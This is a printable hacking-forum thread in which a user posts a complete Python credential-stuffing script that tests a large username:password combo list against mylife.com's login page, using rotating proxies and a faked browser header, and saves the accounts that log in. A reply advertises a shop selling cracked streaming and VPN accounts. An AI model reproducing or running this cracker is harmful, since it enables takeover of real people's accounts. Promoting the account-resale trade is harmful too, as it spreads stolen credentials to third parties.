Sinisterly
mylife account cracker - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Hacking Tools (https://sinister.li/Forum-Hacking-Tools)
+--- Thread: mylife account cracker (/Thread-mylife-account-cracker)



mylife account cracker - SickPsycko - 11-11-2019

I just threw a python script together back when I needed some stuff for personal OSINT. Enjoyyy.

Spoiler:
Code:
import os #Author: SickPsycko import requests import json import re import random from bs4 import BeautifulSoup import threading import queue from sys import * import time combolist = list() proxylist = list() cracked = list() pending_task = 0 target_url = "https://www.mylife.com/site/login.proc" def populate_lists(combon, proxyn): combof = open(combon, 'r') print("[+] Loading Combination File...") for line in combof: combolist.append(line) combof.close() print("[+] Loading Proxies...") with open(proxyn, 'r') as pf: p_obj = json.load(pf) for proxy in p_obj: proxy_parsed = str(proxy["host"]) + ":" + str(proxy["port"]) proxylist.append(proxy_parsed) def auth_crack(in_queue, out_queue): while True: with requests.Session() as session: try: comboup = in_queue.get() (user, passw, retryk) = comboup.split(":") payload = { '_spring_security_remember_me':'1','username':user, 'password':passw, 'dispatch':'logon', 'fromURL':'$!request.getAttribute("fromURL")'} if len(proxylist) < 10: print("Not enough Proxies!") os._exit(0) proxyindex = random.randint(0, len(proxylist) - 1) proxy = { "http": proxylist[proxyindex],"https" : proxylist[proxyindex]} session.proxies = proxy session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0"}) session.get("https://www.mylife.com/site/login.pubview", proxies=proxy, timeout=10) session.cookies session.headers.update({"Origin":"https://www.mylife.com", "Referer": "https://www.mylife.com/site/login.pubview"}) resp = session.post(target_url, data=payload, allow_redirects=True, timeout=10) failed_key_search = BeautifulSoup(resp.text, 'html5lib') failed_element = failed_key_search.find("div", class_="errorList") if "Invalid Username or Password" in failed_element.text: failr = "fail" out_queue.put(failr) in_queue.task_done() else: success_up = "success:" + user + ":" + passw + ":null" out_queue.put(success_up) in_queue.task_done() except(KeyboardInterrupt, SystemExit): print("Exiting!") if len(cracked) > 0: for line in cracked: print(line) os._exit(0) except (requests.exceptions.RequestException): if proxyindex < len(proxylist): proxylist.remove(proxylist[proxyindex]) retuserp = "connerr"+ ":" + user + ":" + passw + ":" + "retry" out_queue.put(retuserp) in_queue.task_done() except Exception as exc: print(type(exc), str(exc)) if proxyindex <= len(proxylist): proxylist.remove(proxylist[proxyindex]) retuserp = "connerr"+ ":" + user + ":" + passw + ":" + "retry" out_queue.put(retuserp) in_queue.task_done() if __name__ == '__main__': acct_tried = 0 crackedc = 0 retryc = 0 combofile = "709k.txt" proxyfile = "proxies.txt" populate_lists(combofile, proxyfile) print("[+] Cracking Accounts..") comboprocl = queue.Queue() crackedreturn = queue.Queue() total = len(combolist) #start workers for i in range(10): t = threading.Thread(target=auth_crack, args=(comboprocl, crackedreturn)) t.daemon = True t.start() #Pass data and crack account for i in range(total): comboprocl.put(combolist[i] + ":null") erroread = "" #get combo status and process success and Failure #for i in range(total): # succ_fail = crackedreturn.get() # errorread = str(succ_fail) # if "connerr" in errorread: # pending_task = pending_task + 1 # (conerrn, user, passw, retryk) = errorread.split(":") # userc = user + ":" + passw # retryl.append("userc") # elif "success" in errorread: # (connerrn, user, passw, retryk) = erroread.split(":") # success_combo = user + ":" + user # if retryk is "null": # cracked.append(success_combo) while True: numproxies = len(proxylist) account_total = len(combolist) stdout.write("[x]Attempts [%i/%i] [/]Proxies: [%i] [/]Retries: [%i] [/]Cracked: [%i] %s"%(acct_tried, account_total, numproxies, retryc, crackedc, "\r")) stdout.flush() try: succ_fail = crackedreturn.get() if "connerr" in succ_fail: pending_task = pending_task + 1 retryc = retryc + 1 (conerrn, user, passw, retryk) = succ_fail.split(":") userc = user + ":" + passw comboprocl.put(userc + ":retry") elif "success" in succ_fail: (connerrn, user, passw, retryk) = succ_fail.split(":") success_combo = user + ":" + passw cracked.append(success_combo) acct_tried = acct_tried + 1 elif "fail" in succ_fail: acct_tried = acct_tried + 1 except queue.Empty: break; t.join() for line in cracked: print(line) os._exit(0)


15PiEmdNquZDJdkanYLkJLZPyVrow54kaG
Donations


RE: mylife account cracker - tommyxxx1 - 11-11-2019

https://shoppy.gg/user/Charlesxxx


- ALL sold accounts start with a 1 month warranty

- We are updating our shop daily with many accounts like league passes hulu spotify family nord vpn and many many more.

IF you don't find what you are looking for on the selly shop just contact me i will get it for you

-Kindly Contact me for any issues or replacement requests before rushing to post any bad review request ALL ISSUES WILL BE resolved


RE: mylife account cracker - SickPsycko - 11-11-2019

Bruh better get yo spamming ass outta here before I put some pancake batter on that butt and spank that ass for you